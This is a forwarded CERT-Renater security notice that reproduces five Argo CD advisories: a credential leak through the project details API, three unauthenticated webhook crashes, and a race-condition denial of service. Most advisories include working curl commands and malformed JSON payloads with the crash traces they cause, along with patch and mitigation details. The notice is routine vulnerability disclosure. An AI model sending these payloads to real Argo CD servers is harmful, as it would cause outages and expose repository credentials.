Ce mail provient de l'extérieur, restons vigilants

=====================================================================

                            CERT-Renater

                Note d'Information No. 2025/VULN656
_____________________________________________________________________

DATE                : 01/10/2025

HARDWARE PLATFORM(S): /

OPERATING SYSTEM(S): Systems running Argo CD versions v2 prior to
                                       2.14.20,
                     Argo CD versions v3 versions prior to 3.2.0-rc2,
                                     3.1.8, 3.0.19,
                     argo-cd (Go) versions prior to 3.1.2, 3.0.14,
                                     2.14.16, 2.13.9.

=====================================================================
https://github.com/argoproj/argo-cd/security/advisories/GHSA-786q-9hcg-v9ff
https://github.com/argoproj/argo-cd/security/advisories/GHSA-gpx4-37g2-c8pv
https://github.com/argoproj/argo-cd/security/advisories/GHSA-f9gq-prrc-hrhc
https://github.com/argoproj/argo-cd/security/advisories/GHSA-wp4p-9pxh-cgx2
https://github.com/argoproj/argo-cd/security/advisories/GHSA-g88p-r42r-ppp9
_____________________________________________________________________

Project API Token Exposes Repository Credentials
Critical
crenshaw-dev published GHSA-786q-9hcg-v9ff Sep 4, 2025

Package
github.com/argoproj/argo-cd (Go)

Affected versions
>= 2.2.0-rc1

Patched versions
v3.1.2, v3.0.14, v2.14.16, v2.13.9


Description

Summary

Argo CD API tokens with project-level permissions are able to retrieve
sensitive repository credentials (usernames, passwords) through the
project details API endpoint, even when the token only has standard
application management permissions and no explicit access to secrets.

Component: Project API (/api/v1/projects/{project}/detailed)
Vulnerability Details


Expected Behavior

API tokens should require explicit permission to access sensitive
credential information. Standard project permissions should not
grant access to repository secrets.


Actual Behavior

API tokens with basic project permissions can retrieve all repository
credentials associated with a project through the detailed project API
endpoint.

Note: This vulnerability does not only affect project-level
permissions. Any token with project get permissions is also
vulnerable, including global permissions such as: p, role/user,
projects, get, *, allow


Steps to Reproduce

    Create an API token with the following project-level
permissions:

p, proj:myProject:project-automation-role, applications, sync, myProject/*, allow
p, proj:myProject:project-automation-role, applications, action/argoproj.io/Rollout/*, myProject/*, allow
p, proj:myProject:project-automation-role, applications, get, myProject/*, allow

    Call the project details API:

bashcurl -sH "Authorization: Bearer $ARGOCD_API_TOKEN" \
  "https://argocd.example.com/api/v1/projects/myProject/detailed"

    Observe that the response includes sensitive repository credentials:

{
  "repositories": [
    {
      "username": "<REDACTED>",
      "password": "<REDACTED>",
      "type": "helm",
      "name": "test-helm-repo",
      "project": "myProject"
    }
  ]
}

Patches

    v3.1.2
    v3.0.14
    v2.14.16
    v2.13.9

Credits to @ashishgoyal111 for helping identify this issue.


Severity
Critical
10.0/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID
CVE-2025-55190

Weaknesses
No CWEs


Credits

    @ntammineni5 ntammineni5 Reporter
    @34fathombelow 34fathombelow Other
    @alexmt alexmt Remediation developer
    @jannfis jannfis Coordinator
    @crenshaw-dev crenshaw-dev Coordinator
    @svghadi svghadi Coordinator

_____________________________________________________________________

Unauthenticated Remote DoS in Argo CD via malformed Azure DevOps
git.push webhook

High
crenshaw-dev published GHSA-gpx4-37g2-c8pv Sep 30, 2025

Package
github.com/argoproj/argo-cd/v2 (Go)

Affected versions
2.9.0-rc1 through 2.14.19

Patched versions
2.14.20

github.com/argoproj/argo-cd/v3 (Go)

3.0.0-rc1 through 3.2.0-rc1, 3.1.6, 3.0.17
3.2.0-rc2, 3.1.8, 3.0.19


Description

Summary

In the default configuration, webhook.azuredevops.username
and webhook.azuredevops.password not set, Argo CD’s /api/webhook
endpoint crashes the entire argocd-server process when it
receives an Azure DevOps Push event whose JSON array
resource.refUpdates is empty.

The slice index [0] is accessed without a length check, causing
an index-out-of-range panic.

A single unauthenticated HTTP POST is enough to kill the process.


Details

case azuredevops.GitPushEvent:
    // util/webhook/webhook.go -- line ≈147
    revision        = ParseRevision(payload.Resource.RefUpdates[0].Name)        // panics if slice empty
    change.shaAfter = ParseRevision(payload.Resource.RefUpdates[0].NewObjectID)
    change.shaBefore= ParseRevision(payload.Resource.RefUpdates[0].OldObjectID)
    touchedHead     = payload.Resource.RefUpdates[0].Name ==
                      payload.Resource.Repository.DefaultBranch

If the attacker supplies "refUpdates": [], the slice has length 0.

The webhook code has no recover(), so the panic terminates the
entire binary.


PoC

payload-azure-empty.json:

{
  "eventType": "git.push",
  "resource": {
    "refUpdates": [],
    "repository": {
      "remoteUrl": "https://example.com/dummy",
      "defaultBranch": "refs/heads/master"
    }
  }
}

curl call:

curl -k -X POST https://argocd.example.com/api/webhook \
     -H 'X-Vss-ActivityId: 11111111-1111-1111-1111-111111111111' \
     -H 'Content-Type: application/json' \
     --data-binary @payload-azure-empty.json

Observed crash:

panic: runtime error: index out of range [0] with length 0

goroutine 205 [running]:
github.com/argoproj/argo-cd/v3/util/webhook.affectedRevisionInfo
    webhook.go:147 +0x1ea5
...


Mitigation

If you use Azure DevOps and need to handle webhook events,
configure a webhook secret to ensure only trusted parties can
invoke the webhook handler.

If you do not use Azure DevOps, you can set the webhook secrets
to long, random values to effectively disable webhook handling
for Azure DevOps payloads.

apiVersion: v1
kind: Secret
metadata:
  name: argocd-secret
type: Opaque
data:
+  webhook.azuredevops.username: <your base64-encoded secret here>
+  webhook.azuredevops.password: <your base64-encoded secret here>


For more information

    Open an issue in the Argo CD issue tracker or discussions
    Join us on Slack in channel #argo-cd


Credits

Discovered by Jakub Ciolek at AlphaSense.

Severity
High
7.5/ 10
CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID
CVE-2025-59538

Weaknesses
Weakness CWE-248
Weakness CWE-703


Credits

    @jake-ciolek jake-ciolek Reporter
    @crenshaw-dev crenshaw-dev Remediation developer
    @blakepettersson blakepettersson Remediation reviewer

_____________________________________________________________________


Unauthenticated argocd-server panic via a malicious Bitbucket-Server
webhook payload
High
crenshaw-dev published GHSA-f9gq-prrc-hrhc Sep 30, 2025

Package
github.com/argoproj/argo-cd (Go)

Affected versions
1.2.0 through 1.8.7

Patched versions
N/A

github.com/argoproj/argo-cd/v2 (Go)
Affected versions
2.0.0-rc1 through 2.14.19
Patched versions
2.14.20

github.com/argoproj/argo-cd/v3 (Go)
Affected versions
3.0.0-rc1 through 3.2.0-rc1, 3.1.7, 3.0.18
Patched versions
3.2.0-rc2, 3.1.8, 3.0.19


Description

Summary

Unpatched Argo CD versions are vulnerable to malicious API requests
which can crash the API server and cause denial of service to
legitimate clients.

With the default configuration, no webhook.bitbucketserver.secret
set, Argo CD’s /api/webhook endpoint will crash the entire
argocd-server process when it receives a Bitbucket-Server push
event whose JSON field repository.links.clone is anything other
than an array.

A single unauthenticated curl request can push the control-plane
into CrashLoopBackOff; repeating the request on each replica
causes a complete outage of the API.


Details

// webhook.go (Bitbucket-Server branch in affectedRevisionInfo)

for _, l := range payload.Repository.Links["clone"].([]any) {   // <- unsafe cast
    link := l.(map[string]any)
    ...
}

If links.clone is a string, number, object, or null, the first type
assertion panics:
interface conversion: interface {} is string, not []interface {}

The worker goroutine created by startWorkerPool lacks a recover,
so the panic terminates the whole binary.


PoC

Save as payload-panic.json - note the non-array links.clone.

{
  "eventKey": "repo:refs_changed",
  "repository": {
    "name": "guestbook",
    "fullName": "APP/guestbook",
    "links": { "clone": "boom" }
  },
  "changes": [ { "ref": { "id": "refs/heads/master" } } ]
}

curl -k -X POST https://argocd.example.com/api/webhook \
     -H 'X-Event-Key: repo:refs_changed' \
     -H 'Content-Type: application/json' \
     --data-binary @payload-panic.json

Observed crash (argocd-server restart):

panic: interface conversion: interface {} is string, not []interface {}
goroutine 192 [running]:
github.com/argoproj/argo-cd/v3/server/webhook.affectedRevisionInfo
    webhook.go:209 +0x1218
...


Mitigation

If you use Bitbucket Server and need to handle webhook events,
configure a webhook secret to ensure only trusted parties can
invoke the webhook handler.

If you do not use Bitbucket Server, you can set the webhook
secret to a long, random value to effectively disable webhook
handling for Bitbucket Server payloads.

apiVersion: v1
kind: Secret
metadata:
  name: argocd-secret
type: Opaque
data:
+  webhook.bitbucketserver.secret: <your base64-encoded secret here>

For more information

    Open an issue in the Argo CD issue tracker or discussions
    Join us on Slack in channel #argo-cd


Credits

Discovered by Jakub Ciolek at AlphaSense.

Severity
High
7.5/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID
CVE-2025-59531

Weaknesses
Weakness CWE-703


Credits

    @jake-ciolek jake-ciolek Reporter
    @crenshaw-dev crenshaw-dev Remediation developer
    @blakepettersson blakepettersson Remediation reviewer

_____________________________________________________________________


Unauthenticated DoS via malformed Gogs webhook payload
High
crenshaw-dev published GHSA-wp4p-9pxh-cgx2 Sep 30, 2025

Package
github.com/argoproj/argo-cd (Go)

Affected versions
1.2.0 through 1.8.7

Patched versions
N/A

github.com/argoproj/argo-cd/v2 (Go)
Affected versions
2.0.0-rc1 through 2.14.19
Patched versions
2.14.20

github.com/argoproj/argo-cd/v3 (Go)
Affected versions
3.0.0-rc1 through 3.2.0-rc1, 3.1.7, 3.0.18
Patched versions
3.2.0-rc2, 3.1.8, 3.0.19


Description

Summary

Unpatched Argo CD versions are vulnerable to malicious API requests
which can crash the API server and cause denial of service to
legitimate clients.

With the default configuration, no webhook.gogs.secret set, Argo CD’s
/api/webhook endpoint will crash the entire argocd-server process
when it receives a Gogs push event whose JSON field commits[].repo
is not set or is null.


Details

Users can access /api/webhook without authentication, and when
accessing this endpoint, the Handler function parses webhook type
messages according to the header (e.g. X-Gogs-Event) and body
parameters provided by the user. The Parse function simply unmarshals
JSON-type messages. In other words, it returns a data structure even
if the data structure is not exactly matched.

The affectedRevisionInfo function parses data according to webhook
event types(e.g. gogsclient.PushPayload). However, due to the lack of
data structure validation corresponding to these events, an attacker
can cause a Denial of Service (DoS) attack by sending maliciously
crafted data. because of Repository is Pointer Type.

func affectedRevisionInfo(payloadIf any) (webURLs []string, revision string, change changeInfo, touchedHead bool, changedFiles []string) {
    switch payload := payloadIf.(type) {
        // ...
        case gogsclient.PushPayload:
            webURLs = append(webURLs, payload.Repo.HTMLURL) // bug
            // ...
        }
    return webURLs, revision, change, touchedHead, changedFiles
}

PoC

payload-gogs.json

{
  "ref": "refs/heads/master",
  "before": "0000000000000000000000000000000000000000",
  "after": "0a05129851238652bf806a400af89fa974ade739",
  "commits": [{}]
}

curl -k -v https://argocd.example.com/api/webhook \
  -H 'X-Gogs-Event: push' \
  -H 'Content-Type: application/json' \
  --data-binary @/tmp/payload-gogs.json

An attacker can cause a DoS and make the argo-cd service unavailable
by continuously sending unauthenticated requests to /api/webhook.

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x68 pc=0x280f494]

goroutine 302 [running]:
github.com/argoproj/argo-cd/v2/util/webhook.affectedRevisionInfo({0x3bd8240?, 0x40005a7030?})
	/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:233 +0x594
github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).HandleEvent(0x40000f9140, {0x3bd8240?, 0x40005a7030?})
	/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:254 +0x38
github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).startWorkerPool.func1()
	/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:128 +0x60
created by github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).startWorkerPool in goroutine 1
	/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:121 +0x28


Mitigation

If you use Gogs and need to handle webhook events, configure a webhook
secret to ensure only trusted parties can invoke the webhook handler.

If you do not use Gogs, you can set the webhook secret to a long, random
value to effectively disable webhook handling for Gogs payloads.

apiVersion: v1
kind: Secret
metadata:
  name: argocd-secret
type: Opaque
data:
+  webhook.gogs.secret: <your base64-encoded secret here>

For more information

    Open an issue in the Argo CD issue tracker or discussions
    Join us on Slack in channel #argo-cd


Credit

Sangjun Song (s0ngsari) at Theori (theori.io)

Severity
High
7.5/ 10
CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID
CVE-2025-59537

Weaknesses
Weakness CWE-20

Credits

    @s0ngsari530 s0ngsari530 Reporter
    @jake-ciolek jake-ciolek Reporter
    @crenshaw-dev crenshaw-dev Remediation developer
    @blakepettersson blakepettersson Remediation reviewer

_____________________________________________________________________


DoS via credentials updates triggering a race condition that crashes
the Argo CD server
Moderate
crenshaw-dev published GHSA-g88p-r42r-ppp9 Sep 30, 2025
Package
github.com/argoproj/argo-cd/v2 (Go)

Affected versions
2.1.0 through 2.14.19

Patched versions
2.14.20

github.com/argoproj/argo-cd/v3 (Go)
Affected versions
3.0.0-rc1 through 3.2.0-rc1, 3.1.7, 3.0.18
Patched versions
3.2.0-rc2, 3.1.8, 3.0.19


Description
Summary

A race condition in the repository credentials handler can cause the
Argo CD server to panic and crash when concurrent operations are
performed on the same repository URL.


Details

The vulnerability is located in numerous repository related handlers
in the util/db/repository_secrets.go file. For example, in the
secretToRepoCred function. The issue manifests as a concurrent map
access panic:

concurrent map read and map write
...
goroutine 1104 [running]:
github.com/argoproj/argo-cd/v2/util/db.(*secretsRepositoryBackend).secretToRepoCred(0xc000e50ea8?, 0xc000c65540)
        /go/src/github.com/argoproj/argo-cd/util/db/repository_secrets.go:404 +0x31e

The race condition occurs due to:

    Concurrent repository credential operations (create/update/delete) accessing the same map
    Kubernetes informer re-syncs happening simultaneously
    Background watchers updating the same secret data
    No mutex protection for map access

A valid API token with repositories resource permissions
(create, update, or delete actions) is required to trigger the
race condition.


Impact

This vulnerability causes the entire Argo CD server to crash and become
unavailable. Attackers can repeatedly and continuously trigger the race
condition to maintain a denial-of-service state, disrupting all GitOps
operations. Default ArgoCD configuration is vulnerable.

The affected code was originally introduced in PR #6103 and released in
v2.1.0.

This data race was addressed by deep-copying the Secret objects before
reading/writing.


Credits

This vulnerability was found, reported and fixed by:

@thevilledev

The Argo team would like to thank him for his responsible disclosure
and constructive communications during the resolve of this issue.

Severity
Moderate
6.5/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CVE ID
CVE-2025-55191

Weaknesses
Weakness CWE-362

Credits

    @thevilledev thevilledev Reporter


=========================================================
+ CERT-RENATER        |    tel : 01-53-94-20-44         +
+ 23/25 Rue Daviel    |    fax : 01-53-94-20-41         +
+ 75013 Paris         |   email:cert@support.renater.fr +
=========================================================
